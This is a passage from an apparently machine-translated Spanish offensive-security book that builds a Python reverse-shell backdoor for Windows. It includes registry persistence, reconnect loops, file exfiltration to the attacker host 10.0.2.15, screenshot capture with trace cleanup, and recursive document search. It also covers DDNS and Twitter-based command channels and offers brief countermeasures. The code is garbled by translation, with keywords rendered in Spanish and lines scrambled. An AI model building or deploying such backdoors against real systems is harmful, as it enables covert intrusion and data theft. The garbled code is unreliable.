4. Inicie sesión en la máquina con Windows

5. Dado que no estamos escuchando el puerto 80, estamos respondiendo con TCP RST, como puede
ver en la siguiente captura de pantalla:
[ 50 ]
Además, en el lado del objetivo, nuestro script fallará y arrojará una excepción o un mensaje de registro.
Navegue hasta el archivo de registro y verá que dice que la conexión se canceló porque la máquina de destino la
rechazó activamente, como se muestra en la siguiente captura de pantalla:
Inicie sesión con la cuenta de administrador , donde tenemos el compilador de Python. Así que solucionaremos este
problema creando un bucle infinito con un controlador de excepciones, como se muestra aquí:
# Afinación
importar
sistema operativo
importar shutil importar
subproceso importar _winreg como wreg
tiempo de importación
...
#La última fase es iniciar una conexión inversa de regreso a nuestra máquina kali import random def
connect():
req = solicitudes.get('http://10.0.2.15') comando = req.text

si 'terminar' en el comando:
volver 1
elif 'grab' en el comando:

grab,path=command.split('*') if
os.path.exists(path): url = 'http://10.0.2.15/
store' files = {'file': open (ruta, 'rb')}
[ 51 ]
r = solicitudes.post(url, archivos=archivos) más:
post_response = request.post(url='http://10.0.2.15', data= '[-] ¡No se pudo encontrar el archivo!'
)
demás:
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) post_response = solicitudes.post(url='http://
10.0.2.15', data=CMD.stdout.read() ) post_response = solicitudes. post(url='http://10.0.2.15',
data=CMD.stderr.read() )
tiempo.dormir(3)
tratar:
si conectar () == 1: romper
excepto:
sleep_for = random.randrange(1,10) time.sleep( sleep_for )
#time.sleep( sleep_for ) #dormir durante un tiempo
aleatorio entre 1 y 10
minutos
aprobar
Como puede ver, se agrega una nueva función llamada connect() al script. Entonces, al usar un controlador
de excepciones, cualquiera que sea el motivo, si obtenemos una excepción para iniciar la conexión, dormiremos
durante un tiempo aleatorio entre 1 y 10 segundos y luego intentaremos conectarnos nuevamente. En un
escenario del mundo real, debe ser más paciente y hacerlo de 1 a 10 minutos. Al final, pasamos la excepción en lugar
de generarla aquí. Ahora, la pregunta es: ¿Cómo terminar el proceso, ya que tenemos dos bucles infinitos? Dado que
el comando break único no hará el trabajo por nosotros, el truco aquí es que, si terminamos, romperemos toda la
función y conservaremos el valor 1. Y si la función de conexión conserva el valor 1, entonces romperá el segundo
ciclo, lo que eventualmente terminará el proceso.
Ahora, intentemos y probemos rápidamente esta modificación:
1. Como hemos hecho anteriormente, exporte el script a EXE

2. Asegúrese de que la carpeta Documentos y la clave de registro estén vacías 3. Haga
doble clic en Persistence.exe desde la carpeta dist y ejecute el script
[ 52 ]
Y una vez que ejecutamos nuestro script aquí, observe que el objetivo sigue intentando comunicarse con nosotros hasta
que ejecutamos nuestro servidor y los intentos de conexión aquí durarán entre 1 y 10 segundos, como se muestra en la
siguiente captura de pantalla:
Ahora, una vez que iniciamos nuestro oyente en el lado del servidor, hemos completado los protocolos de
enlace de tres vías y obtuvimos la solicitud GET de nuestro objetivo, como se muestra en la siguiente captura de pantalla:
Compruebe si la clave de registro está allí y si la secuencia de comandos se ha copiado en Documentos.

Entonces, lo último que hay que probar es si el proceso de terminación está funcionando o no.
Haga ping a 10.0.2.15 y realice una terminación. Puede ver que Persistence.exe se ha ido del Administrador de tareas
de Windows.
Consejos para prevenir una ruptura de la carcasa

Como explicamos anteriormente, creamos un shell creando un subproceso y pasando los comandos a este subproceso.
Ahora, el punto es que algunos comandos no pueden funcionar correctamente usando esta técnica, como los comandos
cls y clear , los cuales no funcionarán en un shell. Ahora, por ejemplo, digamos que pudimos obtener un shell en la PC
del cliente y luego descubrimos algún tipo de servidor Telnet o FTP conectado en la misma red interna.
Desafortunadamente, no podemos usar el cliente Telnet incorporado en el sistema operativo desde nuestro shell y esto
se debe a que una vez que lo hacemos, el servidor nos solicitará un nombre de usuario y una contraseña; esto se
denomina método interactivo y el shell no podrá manejar este tipo de interacción.
Una solución es usar una biblioteca especial de Python llamada Pexpect. Pexpect permite que su secuencia de
comandos interactúe con una aplicación como si un humano estuviera escribiendo estos comandos. Ahora, por último
pero no menos importante, siempre pruebe el comando localmente en un VirtualBox antes de enviarlo a su destino.
[ 53 ]
Hay un par de puntos a mencionar aquí. Primero, tenemos un problema con el texto claro. Ahora, todo
nuestro tráfico y transferencia de archivos estaba en texto claro. Esto significa que cualquier IPS o analizador
de red captará fácilmente nuestros comandos y puede bloquear esa conexión o al menos alertar al sistema o
al equipo SOC. Ahora, en el Capítulo 4, ¡Atrápame si puedes!, abordaremos este punto creando un cifrado
XOR personalizado para cifrar todo nuestro tráfico entre el atacante y la máquina de destino.
El segundo punto es: ¿Qué pasa si la dirección IP del pirata informático se cambió dinámicamente? Digamos
que el hacker está detrás de un ADSL o un proxy, donde cada vez que se conecte a internet cambiará su
dirección IP. Recuerde que configuramos nuestro objetivo para conectarse a una dirección IP fija y
eventualmente la conexión fallará ya que esa dirección IP ya no será válida.
contramedidas
En este apartado veremos cómo podemos protegernos de los ataques que explicamos en este capítulo.
Ahora, si lo pensamos por un segundo: ¿Cómo podría el atacante llegar a nuestro host interno para
empezar? Bueno, confiamos en un ataque de ingeniería social junto con un ataque del lado del cliente para
que esto suceda. La principal defensa clave aquí es comenzar asegurando a las personas, ya que son los
puntos más débiles de todo el sistema. Por lo tanto, debe comenzar a proteger a su personal de forma
regular con alguna aplicación de la gestión. A continuación, nunca debe confiar en el software antivirus, un
sandbox o VMware, ya que el malware moderno tiene mecanismos integrados para protegerse de ser
detectado. Además, debe mantenerse alejado de cualquier software sospechoso, especialmente los archivos
descifrados. Antes de instalar cualquier software, si se trata de un software legítimo, verifique la integridad
del archivo mediante MD5 o el algoritmo sha1. Si es posible, use la Prevención de fuga de datos (DLP)
para detectar cualquier transferencia de archivos en el punto final o en la ruta de tránsito de la red. Además,
como práctica recomendada, puede instalar algo llamado Sistema de detección de intrusos basado en
host (HIDS) para recopilar los registros del sistema operativo y notar cualquier modificación que esté
ocurriendo en los registros del sistema operativo. Si es posible, cree una lista blanca y limite qué proceso
puede ejecutarse en el sistema operativo. Durante la sesión de concientización sobre seguridad, siempre
informe a las personas no técnicas para que informen cualquier correo electrónico de phishing o archivos
sospechosos al equipo de seguridad de la red o al operador o analista de seguridad.
[ 54 ]
Resumen
En este capítulo, comenzamos preparando nuestro atacante y las máquinas de destino, y luego
procedimos a aprender y codificar TCP y un shell inverso HTTP. Para cada uno de estos shells inversos,
analizamos la exfiltración de datos y la exportación del script de Python a .exe, lo que hizo que el ataque
fuera independiente del compilador de Python. Aprendimos cómo hacer que la conexión sea persistente.
También analizamos los intentos de conexión y las contramedidas para evitar los ataques de los que nos
enteramos.
En el próximo capítulo, cubriremos DDNS, Twitter interactivo, contramedidas, replicación

Captura de pantalla de Metasploit, navegación de directorio de destino e integración de puerto de bajo nivel
escáneres
[ 55 ]
Shell programable avanzado

2
El problema con la puerta trasera, que creamos en el capítulo anterior, es que si la IP del atacante
cambia, no tenemos un mecanismo incorporado para informar a nuestro objetivo que debe conectarse
a la nueva dirección IP. En este capítulo, veremos un método que le permite mantener un nombre
reservado fijo para su máquina atacante, incluso si cambia su IP.
Los siguientes son los temas que se tratarán en este capítulo:
DNS Dinámico
Interactuando con Twitter
Replicando la captura de pantalla de Metasploit
Replicando Metasploit buscando contenido
Integración de un escáner de puertos de bajo nivel
DNS Dinámico
Ahora, uno de los métodos que discutiremos aquí es el DNS dinámico. Digamos que la IP del atacante
es 1.1.1.1 el día 1. Luego, al día siguiente, obtenemos una dirección IP de 2.2.2.2. Entonces, ¿cómo
conocería nuestro objetivo la nueva dirección IP? La respuesta es DNS dinámico (DDNS). Es un método
para conservar un nombre único para usted en un servidor DNS. Si bien el nombre reservado es fijo, la
dirección IP correlacionada cambiará cada vez que cambie su dirección IP pública. Para la demostración,
utilizaremos noip.com. Proporciona un servicio de DNS dinámico gratuito. Así que previamente conservé
un nombre llamado pythonhussam.ddns.net. Entonces, en el lado del objetivo, en lugar de codificar la
dirección IP en ese script, haremos una búsqueda de DNS para este nombre; luego recuperaremos la
dirección IP para realizar la conexión. Ahora, probablemente se esté preguntando: cuando cambia la
dirección IP del atacante, ¿cómo funciona noip.com? ¿Conoce la nueva dirección IP para actualizar su
registro DNS? Bueno, la respuesta es a través de un agente de software, que debe instalarse en nuestra
máquina Kali. El agente se conectará a noip.com servidores, y hacerles saber nuestra nueva dirección IP.
Shell programable avanzado Capitulo 2
Para ahorrar tiempo, puede crear una cuenta gratuita en noip.com. Debe ser bastante simple y
directo. Luego, reserve un nombre de su elección. En la siguiente sección, instalaremos el agente No IP
en nuestro Kali Linux y modificaremos el código en nuestra versión anterior de shell inverso de TCP para
resolver una búsqueda de DNS en pythonhussam.ddns.net, que será el nombre reservado que usaremos
para fines de demostración.
Shell compatible con DNS

En esta sección, comenzaremos instalando el agente No-IP en nuestra máquina Kali Linux.
Asegúrese de que nuestra máquina Kali esté conectada a Internet para que podamos descargar e
instalar el software del agente:
1. Analice a /usr/local/src/ ejecutando:
cd /usr/local/src/
2. Descargue el software del agente:
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
3. Extraiga el archivo:
tar xf noip-duc-linux.tar.gz
4. cd en la carpeta noip que acabamos de extraer:
cd noip-2.1.9-1/
5. Instale el agente:
hacer instalar
Entonces, en este punto, le pedirá que ingrese su correo electrónico y contraseña, que utilizó para
registrarse en noip.com sitio web. Así que voy a escribir mi dirección de correo electrónico aquí. Y
ahora podemos ver que pythonhussam.ddns.net ya está registrado en nuestra cuenta y se ha creado
un nuevo archivo de configuración:
[ 57 ]
Ahora, saltemos a la máquina de destino. En Python, es muy simple hacer una búsqueda de
DNS. Es solo cuestión de una sola línea para resolver la dirección IP, y lo haremos usando
socket.gethostname o socket.gethostbyname, como se muestra en el siguiente código:
'''
Precaución
--------
El uso de este script para fines maliciosos está prohibido y es ilegal. Lea atentamente los términos y condiciones de
no-ip.com.
Úselo bajo su propio riesgo.
'''
# Python para PenTest ofensivo
# Shell compatible con DDNS
importar socket
importar subproceso
importar os
...
def connect(ip): s =
socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 8080)) #
en lugar de codificar la dirección IP estáticamente, pasamos nuestra variable ip
...
[ 58 ]
def principal ():

ip = socket.gethostbyname('pythonhussam.ddns.net') # Usaremos el sistema operativo
para enviar una consulta dns para pythonhussam.ddns.net
"
print "La IP resuelta era: nombre + ip # Por favor, no olvide cambiar esto
suyo :D connect(ip) # pasaremos la variable
ip que contiene la ip del atacante para conectar la función main()
Luego, almacenamos el resultado, que es la dirección IP de la máquina atacante, en una variable llamada ip. Por
ahora, solo comentaremos la función connect(ip) e imprimiremos el resultado, solo para asegurarnos de que
nuestro script funcione bien aquí. Ejecutaremos el módulo y dice que la dirección IP es 37.202.101, como se muestra
aquí:
>>>
La IP del atacante es: 37.202.101.240
>>>
Volvamos a la máquina atacante y verifiquemos nuestra dirección IP pública buscando cuál es mi dirección IP en
Google. Si todo va bien, veremos la misma dirección que el objetivo identificó como la dirección IP pública actualizada
de la máquina atacante.
Entonces, dado que la variable IP almacena nuestra IP atacante, pasaremos este valor a la función de conexión
y usaremos este valor para volver a conectarnos a la máquina atacante.
Tenga en cuenta que hemos reemplazado la dirección IP estática en s.connect((ip,

8080)) con una variable llamada ip.
Interactuando con Twitter

Ahora, hablaremos de una técnica que se usa con frecuencia en estos días: confiar en servidores conocidos para realizar
ciertas tareas o transferir una información. Esta técnica ha sido utilizada por un malware ruso. Lo que hicieron los
atacantes fue enviar los datos a través de su cuenta de Twitter e hicieron que el objetivo los analizara más tarde.
Entonces, en la máquina atacante, simplemente enviamos una orden o comando como un tweet normal a nuestra cuenta
de Twitter. Tenga en cuenta que no hay comunicación directa entre el atacante y su objetivo, lo cual es realmente malo
aquí. Más tarde, el objetivo analizará el tweet y ejecutará esa orden. Los beneficios de hacer esto son:
Twitter es un sitio web confiable y tiene muy buena reputación; lo más probable es que sea un sitio web
incluido en la lista blanca
[ 59 ]
Este tipo de ataque es muy difícil de detectar, donde un equipo de seguridad sin experiencia
nunca habría pensado que estos datos podrían ser maliciosos, y uno de mis objetivos aquí
es abrir los ojos a este tipo de ataques maliciosos.
En el siguiente apartado, desde la máquina Kali enviaremos un saludo desde la cadena de Python
como un tweet normal a nuestra cuenta. En el lado del cliente, analizaremos el tweet y luego
imprimiremos el resultado.
Ahora, técnicamente hablando, cualquiera puede ver tu tweet sin siquiera iniciar sesión
en Twitter. Te recomiendo leer el informe de FireEye para ver cómo los atacantes
aprovecharon esta situación, https://www2.fireeye.com/
APT29-HAMMERTOSS-WEB-2015-RPT.html.
Lo crea o no, en cinco líneas de script de Python, se conectará a la página del atacante a través de
HTTPS, recuperará el HTML, lo analizará y finalmente extraerá los datos del tweet.
Analizando un tweet en tres líneas

Para esta demostración, creé una cuenta en Twitter. mi nombre de perfil es
@HussamKhrais.
Entonces, iniciaré sesión en mi cuenta de Twitter desde la máquina Kali y enviaré un tweet, y veremos
lo fácil que es tomar ese tweet de la máquina de destino. Entonces, comencemos redactando primero
un nuevo tweet (por ejemplo, Hola de kali python) y cerrándonos de la cuenta. Ahora echemos un
vistazo rápido a la página HTML que se crea después de publicar el tweet, viendo la fuente de la
página. Busca y encuentra el tweet que acabamos de hacer. Luego, si nos desplazamos un poco hacia
la izquierda, observe los parámetros de la metaetiqueta HTML:
<meta name="description" content="Los últimos tuits de Hussam Khrais

(@HussamKhrais): "Hola de kali python"">
El primer parámetro, nombre, tiene descripción como valor, y el segundo parámetro llamado contenido
contiene nuestro tweet. Ahora, usaremos estas etiquetas HTML para analizar el HTML y eventualmente
extraer el tweet.
Python tiene una biblioteca llamada Beautiful Soup, que es una herramienta muy conocida que se usa para
analizar páginas HTML. Puede descargarlo desde: https://pypi.python.org/pypi/BeautifulSoup/
.
Para instalar esta biblioteca, solo navegue hasta el directorio donde se encuentra Beautiful Soup,
luego ejecute python setup.py e instálelo.
[ 60 ]
Echemos un vistazo rápido al código, que usaremos en el lado objetivo:

'''
Precaución
--------
Twitter.
'''
# Capturador de tweets
from BeautifulSoup importar BeautifulSoup como sopa import urllib import re
html = urllib.urlopen('https://twitter.com/HussamKhrais').read() sopa = sopa(html)
#Navega a mi página de inicio de Twitter HussamKhrais, almacena la página HTML en la variable html y pásala
#a la función de sopa para que podamos analizarla
x = sopa.find("meta", {"nombre":"descripción"})['contenido'] imprimir x #Aquí buscamos

metaetiquetas HTML específicas, vea el video para saber cómo encontré estos
parámetros: )
filter = re.findall(r'"(.*?)"',x) # Después de analizar la página html, nuestro tweet se ubica entre comillas dobles tweet
= filter[0] # usando expresiones regulares filtramos el tweet print tweet
[ 61 ]
Entonces, usando urllib o la biblioteca de URL, navegaremos a mi página de inicio de Twitter. Y una
vez que recuperemos la página HTML, la almacenaremos en la variable html . Luego, pasamos la
página HTML o una variable a la función de sopa . ¿Recuerdas la metaetiqueta HTML que contiene nuestro tweet?
Lo buscaremos usando la función de búsqueda en Beautiful Soup. Entonces, buscaremos un meta
nombre y un valor de descripción. Usando una expresión regular, haremos un filtro final para imprimir
solo la cadena exacta entre las comillas, que es básicamente el tweet que enviamos. Al ejecutar el script,
verá que recibimos el mismo tweet que enviamos.
Entonces, limpiaremos un poco el código eliminando el comando imprimir x . Iniciaremos sesión en la

cuenta de Twitter una vez más y enviaremos otro tweet. Esta vez, vamos a twittear Lo logramos.
Entonces, en el lado del objetivo, deberíamos poder ver el último tweet sobre la ejecución del script.
Tenga en cuenta que pudimos obtener el tweet sin ningún inicio de sesión o autenticación. Ahora, en la
siguiente sección, verá cómo podría usar esta información o guión en un escenario del mundo real.
contramedidas
En esta sección, analizaremos las posibles contramedidas para el malware diseñado para
interactuar con Twitter. Ahora, observe que dije una posible contramedida, porque este no es un trabajo
fácil de hacer; y eso se debe a una de las siguientes razones:
Bloqueo de Twitter
Terminando SSL
Lo primero que puede venir a su mente es simplemente bloquear Twitter, y esto definitivamente
evitará el ataque. Sin embargo, ¿qué sucede si trabaja para una empresa de marketing social o si su
trabajo diario implica el uso de Twitter? Entonces en este caso, no es una opción. Además, no solo se
limita a Twitter. Imagine que el objetivo descarga una imagen de Instagram y luego, usando estenografía,
el objetivo analiza un texto oculto o un comando oculto dentro de esa imagen. El segundo punto en el que
podría pensar es que hemos visto que la página de inicio de Twitter usa HTTPS, donde el tráfico está
encriptado. Y podría pensar que simplemente podemos terminar el SSL y ver el tráfico en texto claro. Así
que supongamos que tenemos un dispositivo de este tipo para el descifrado y podemos ver el tweet como
texto claro y la ruta de tránsito. Pero la pregunta es: ¿Qué recursos necesitamos para verificar cada
paquete que va y viene de nuestra red a Twitter, ya que podrían ser 100 MB de datos? Además, ¿cómo
podemos distinguir entre el bueno y el malo?
[ 62 ]
Entonces, digamos que tenemos un tweet que dice: Siga este sitio web. Entonces, ¿cómo podemos saber
que este es un sitio malicioso o inocente, sin inspeccionar activamente ese sitio web? Y en general, esto
será un dolor de cabeza mayor en nuestro proceso. Otro punto a considerar aquí es: ¿Qué pasa si el tweet
en sí está encriptado? Entonces, en lugar de ver hola mundo o ipconfig, el atacante podría cifrar este tweet
en AES y enviarlo a Twitter, y descifrarlo una vez que llegue al lado objetivo.
Además, lo que puede hacer el atacante es engañar a cualquiera que observe el tráfico. Puede hacer
que el malware analice cientos de páginas de Twitter además de la página del hacker, y esto nos lleva de
nuevo al tema de los recursos que discutimos. Por último, pero no menos importante, el atacante puede
tuitear otra IP para crear una cadena de conexiones. Si lee el informe de FireEye sobre cómo funciona el
malware ruso, verá que los atacantes tuitearon un enlace para una imagen ubicada en GitHub. Entonces, la
víctima inició una nueva sesión en GitHub, y eso es lo que se llama una conexión encadenada.
Entonces, si volvemos a pensar en cómo nos infectamos con este malware, nos dirá que las mismas
contramedidas que discutimos en el capítulo anterior siguen siendo válidas en nuestro escenario actual.
Replicando la captura de pantalla de Metasploit

En esta sección, automatizaremos la captura de una captura de pantalla de la máquina de destino y
la recuperaremos a través de HTTP shell inverso. Obtener una captura de pantalla del escritorio de
destino puede ser útil para ver qué programas y actividades están ocurriendo en el lado de destino. En
Metasploit Meterpreter, hay una función llamada screengrab(), que tomará una instantánea de la máquina
objetivo y la transferirá de vuelta a la máquina atacante. Así que aquí, haremos algo similar en nuestro shell
HTTP existente. Para este propósito, usaremos una biblioteca llamada Pillow at the target. Esta es una
biblioteca de imágenes de alto nivel en Python. La instalación es bastante sencilla. Solo necesita ejecutar
pip install Pillow a través de cmd.
Antes de hacer eso, solo asegúrese de tener acceso a Internet. Una vez que instalemos esta biblioteca, iré a
Dispositivos|Red|Configuración de red... en VirtualBox, y volveré a cambiar el modo de red a Red interna
como hicimos en el capítulo anterior. También le daremos a nuestro objetivo la dirección IP estática para que
podamos comunicarnos con la máquina atacante.
Asegúrese de que tenemos una conexión con nuestro atacante haciendo ping a su dirección IP.
[ 63 ]
En nuestro código HTTP, comenzamos importando nuestra biblioteca. Así que importamos la
función ImageGrab() y necesitamos agregar una nueva declaración if que diga que, si recibimos una
palabra clave de captura de pantalla , tomaremos una instantánea y la guardaremos en el directorio de
trabajo actual con el nombre img.jpg. Luego, lo transferiremos nuevamente a la máquina atacante:
# Captura de pantalla
importación
from PIL import ImageGrab # Usado para tomar una captura de pantalla
req = solicitudes.get('http://10.0.2.15') comando = req.text si

'terminar' en el comando:
romper

grab,path=command.split('*') if os.path.exists(path):
url = 'http://10.0.2.15/store' files = {'file': open
(ruta, 'rb')} r = solicitudes.post(url, archivos=archivos)
más:

¡No puedo encontrar el archivo!' )
elif 'captura de pantalla' en comando: #Si tenemos una palabra clave de captura de pantalla, entonces...
ImageGrab.grab().save("img.jpg", "JPEG") url = 'http://10.0.2.15/
store' archivos = {'file': open("img.jpg", 'rb') } r = solicitudes.post(url,
archivos=archivos) #Transferir el archivo a través de nuestro
HTTP
demás:
stderr=subproceso.PIPE, stdin=subproceso.PIPE) post_response =
solicitudes.post(url='http://10.0.2.15',
datos=CMD.stdout.read() )
post_response = solicitudes.post(url='http://10.0.2.15',
[ 64 ]
datos=CMD.stderr.read() )
tiempo.dormir(3)
Ahora intentemos y probemos el script. Asegúrese de que el script del servidor de exfiltración de datos HTTP se esté
ejecutando en el extremo del atacante. Una vez que obtengamos el Shell> ejecute la captura de pantalla en el atacante,
vaya al Escritorio y cambie la extensión del archivo a .jpeg para que podamos ver la captura de pantalla. Si vamos a la
máquina de destino, verá que nuestra imagen de captura de pantalla se guarda en el mismo directorio de trabajo actual
que nuestro script.
Ahora, el problema con esto es que es muy obvio que alguien está haciendo alguna actividad maliciosa en nuestra PC.
Incluso si eliminamos la imagen después de hacer la transferencia, todavía existe la posibilidad de que el objetivo nos
atrape. Ahora, para superar esto, usaremos el directorio temporal del sistema operativo para crear un directorio temporal
y guardar la imagen allí. Y una vez que se complete la transferencia, eliminaremos todo el directorio.
Python tiene una biblioteca integrada que usa el directorio temporal del sistema operativo. Echemos un vistazo
rápido. Iremos al símbolo del sistema, abriremos un modo interactivo de Python y ejecutaremos import tempfile. Este
archivo temporal se encargará de la tarea de crear un directorio temporal . Pero antes de crear uno, abra el directorio
temporal de Windows . Ejecute print tempfile.mkdtemp, que creará un directorio temporal para nosotros e imprimirá
todos los nombres de los directorios. Ahora, para deshacernos de este directorio temporal, usaremos otra biblioteca
llamada shutil. Importaremos este y crearemos un nuevo directorio temporal.
Tenga en cuenta que, una vez que hacemos esto, se crea una nueva carpeta en el directorio temporal . Ahora, lo
eliminaremos ejecutando shutil.rmtree(x) ya que la variable x contiene el nombre de esa carpeta temporal :
Para reflejar estos cambios en nuestro script, simplemente regresaremos y editaremos nuestro script de destino:
# Captura de pantalla
[ sesenta y cinco ]
importación
from PIL import ImageGrab # Se usa para tomar una captura de pantalla import tempfile #
Se usa para crear un directorio temporal import shutil # Se usa para eliminar el directorio
temporal

romper

os.path.exists(path): url = 'http://10.0.2.15/store'
files = {'file': open (ruta, 'rb')} r = solicitudes.post(url,
archivos=archivos) más:

elif 'captura de pantalla' en comando: #Si obtuvimos una palabra clave de captura de pantalla, entonces... dirpath =
tempfile.mkdtemp() #Crear un directorio temporal para almacenar nuestro
archivo de captura de pantalla
ImageGrab.grab().save(dirpath + "\img.jpg", "JPEG") #Guardar el

captura de pantalla en el directorio temporal
url = 'http://10.0.2.15/store' files = {'file': open(dirpath

+ "\img.jpg", 'rb')} r = request.post(url, files=files) #Transferir el archivo sobre nuestro
HTTP
files['file'].close() #Una vez que se transfiera el archivo, cierre el
expediente.
shutil.rmtree(dirpath) #Eliminar todo el directorio temporal
...
[ 66 ]
Primero, crearemos un directorio temporal y almacenaremos su ruta en la variable dirpath . Luego, le diremos a
ImageGrab que guarde la captura de pantalla en el directorio temporal recién creado . También modificaremos el
directorio de guardado. También necesitaremos reflejar este cambio en la función de transferencia de archivos, para
que conozca la nueva ruta para el archivo de imagen. Lo último es que, una vez que se completa la transferencia,
debemos asegurarnos de que el archivo se cierre, ya que no podemos eliminar un archivo que está abierto actualmente
por una aplicación o un proceso. Borraremos todo el directorio.
Pruébalo y comprueba que no hemos dejado ningún rastro. Pruebe un filtro en img dentro del directorio temporal , que
es el nombre del archivo o el nombre de la imagen, y veremos si aparece algo ejecutando el script como lo hicimos
antes. Una vez que obtengamos el Shell> en la máquina atacante, ejecute una captura de pantalla. Una vez que
obtenga la captura de pantalla del atacante, cámbiele el nombre, salte al lado objetivo y vea si se ha creado algún
archivo. Verá que no hay nada allí porque eliminamos el directorio temporal después de realizar la transferencia.
Replicando Metasploit buscando contenido

Ahora codificaremos una función de Python que buscará en los directorios de destino y nos proporcionará una lista
de ubicaciones de archivos para una determinada extensión de archivo específica. Por ejemplo, supongamos que
necesitamos buscar un archivo PDF o de documento en la máquina de destino; en lugar de verificar cada directorio,
agregaremos una nueva función para que haga el trabajo automáticamente por nosotros. Esto es muy útil cuando
aterriza por primera vez en una máquina de destino e intenta explorar la mayor cantidad de datos posible, como
documentos, archivos PDF, etc. La parte de codificación es bastante fácil. Usaremos la biblioteca Python os para que
haga el trabajo por nosotros. Entonces, como de costumbre, he agregado una nueva instrucción if para especificar que
si obtenemos una palabra clave de búsqueda , haremos lo siguiente:
# Búsqueda de contenido
importación

romper
[ 67 ]
os.path.exists(path): url = 'http://10.0.2.15/
store' files = {'file': open(path, 'rb') } r =
solicitudes.post(url, archivos=archivos)
demás:
elif 'buscar' en el comando: # La fórmula es buscar <ruta>*.<archivo, por ejemplo, digamos que obtuvimos
extensión> , la búsqueda C:\\*.pdf
# si eliminamos los primeros 7 caracteres, la salida sería C:\\*.pdf, que es básicamente lo que necesitamos
command = command[7:] # cortar los primeros 7 caracteres sería C:\\*.pdf ,, producción

path,ext=command.split('*') # dividir C:\\*.pdf en dos secciones,
la primera sección (C:\\) se almacenará en la variable de ruta y

# la segunda variable (.pdf) será
almacenado en la variable ext
lista = '' # aquí definimos una cadena donde agregaremos nuestro resultado
en eso
'''
os.walk es una función que navegará TODOS los directorios

especificado en la ruta proporcionada y devuelve tres valores: -
dirpath es una cadena que contiene la ruta al directorio dirnames es una lista de los
nombres de los subdirectorios en
ruta de acceso
files es una lista del nombre de los archivos en dirpath
Una vez que tenemos la lista de archivos, revisamos cada archivo (usando para
bucle), si la extensión del archivo coincidía con lo que estamos buscando, entonces
agregamos la ruta del directorio en la cadena de la lista. el os.path.join representa una ruta relativa
para que nuestro archivo
el directorio actual y en nuestro ejemplo es el C:\\
directorio
'''
para dirpath, dirname, archivos en os.walk(ruta):

para archivo en archivos:
if file.endswith(ext): list = list + '\n' +
os.path.join(dirpath, file)
request.post(url='http://10.0.2.15', data= list ) # Enviar el
resultado de búsqueda
...
[ 68 ]
Primero, definimos el formato como búsqueda C:\\*.pdf . Tenga en cuenta que solo nos interesa la segunda
parte, que es el directorio en el que queremos buscar y la extensión del archivo. Ahora mismo, para limpiar
el comando recibido y dividirlo en parámetros, tendremos que cortar los primeros siete caracteres principales;
y lo haremos para deshacernos de la cadena de búsqueda y el espacio no deseados. Ahora, si contamos los
primeros siete caracteres, será hasta el directorio C aquí; la salida después de hacer eso, será mucho más
limpia. A continuación, dividimos la cadena en extensiones de ruta y archivo, y las almacenamos en variables
de ruta y extensión. Entonces, el primer parámetro será la ruta, que se almacenará en la variable de ruta, y
el segundo se almacenará en la variable de extensión. A continuación, definimos una variable de lista, y esta
será nuestro marcador de posición para almacenar los directorios de archivos. Ahora, la función real que hará
la búsqueda por nosotros es la función os.walk(path) . Esta función navegará por todos los directorios
especificados en el directorio de ruta proporcionado y devolverá tres valores: dirpath, que es una cadena que
contiene la ruta al directorio; los directorios dirname en dirpath; y finalmente archivos, que es una lista de
nombres de archivo en dirpath. , que es una lista de los nombres para el sub
A continuación, realizamos otro ciclo para verificar cada archivo en la lista de archivos . Si los archivos
terminan con la extensión deseada, como .pdf, agregamos el valor del directorio a la cadena de la lista. Al
final, la función os.path.join() representa una ruta relativa a nuestro archivo al directorio actual, y en nuestro
caso, es el directorio C:\ . Finalmente, enviaremos el resultado al atacante.
Al ejecutar el script en ambos lados, para empezar, busquemos cada archivo PDF en el
directorio C:\ ejecutando:
buscar C:\*.pdf
Después de esto, intentemos obtener Documentos\Módulo 3.pdf:
grab*C:\Usuarios\hkrais\Documentos\Módulo 3.pdf
También podemos buscar cada archivo de texto en el sistema. Debería ser una lista enorme:
buscar C:\*.txt
Podemos reducir nuestra búsqueda y simplemente buscar el directorio del escritorio .
buscar C:\Users\hkrais\Desktop\.txt
Y tenemos un archivo allí llamado contraseñas.txt. Intente tomar ese y verifique su contenido como lo hicimos
en el capítulo anterior.
[ 69 ]
Navegación del directorio de destino

Ahora abordaremos un problema de navegación del directorio. Ahora, el problema es que la
exploración de directorios está restringida a los directorios de trabajo del shell. Por ejemplo, si el
objetivo ha ejecutado nuestro script de Python en el escritorio, nuestro directorio de trabajo será el
escritorio. Y debido a las limitaciones del shell, no podemos simplemente escribir cd y pasar a otro
directorio. Recuerde que aprendimos que algunos comandos no funcionarán en un shell, y cd es uno de
ellos.
Una vez que ejecutamos nuestro shell inverso de TCP anterior en ambos lados, verá que nuestro
directorio de trabajo actual está en el escritorio, donde se encuentra nuestro Python. Observe lo que
sucederá cuando se emita un comando cd para cambiar el directorio de trabajo actual a C:\Users.
Nuestro script dejará de responder una vez que intentemos el comando cd C:\Users , y esto se debe a
que el shell no puede manejar el comando cd correctamente. Ahora, para superar este problema,
necesitamos decirle explícitamente al script que cambie su directorio de trabajo. Nuevamente, eso se debe
a que nuestro directorio de trabajo de shell está restringido al directorio de trabajo de nuestro script de Python.
La fórmula aquí será cd seguido de espacio, luego el camino al que queremos ir. Luego, dividiremos el
comando recibido según el espacio en dos variables. Afortunadamente, cambiar el directorio es cuestión
de una sola línea en Python. Finalmente, devolvemos una cadena que menciona el nuevo directorio de
trabajo actual:
# Navegación de directorio
importar socket
importar subproceso importar
os
paquete = f.leer(1024)
s.send('HECHO')
f.close()
demás:
s.send('No se pudo encontrar el archivo')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
[ 70 ]
s.conectar(('10.0.2.15', 8080))
comando = s.recv(1024) si 'terminar'

en el comando:
s.close()
descanso
elif 'agarrar' en comando: agarrar,ruta

= comando.split('*') probar: transferir(s,ruta)
excepto Excepción, e:
s.send ( str(e) )
aprobar
elif 'cd' en comando: # la fórmula aquí será cd y luego espacio
luego la ruta a la que queremos ir, como cd C:\Users code,directory = command.split (' ') #
dividir lo recibido
comando basado en el espacio en dos variables
os.chdir(directory) # cambiando el directorio s.send( "[+] CWD Is +
"
os.getcwd() ) # enviamos una cadena mencionando el nuevo CWD
...
Una vez que probemos el script anterior, después de escribir cd C:\Users, podrá ver si hemos cambiado
o movido al directorio de Usuarios :
>>>
Shell> cd C:\Usuarios
[+] CWD es C:\Usuarios
>>>
Intente navegar hasta la ubicación del archivo que desea capturar. Notará que, una vez que estamos
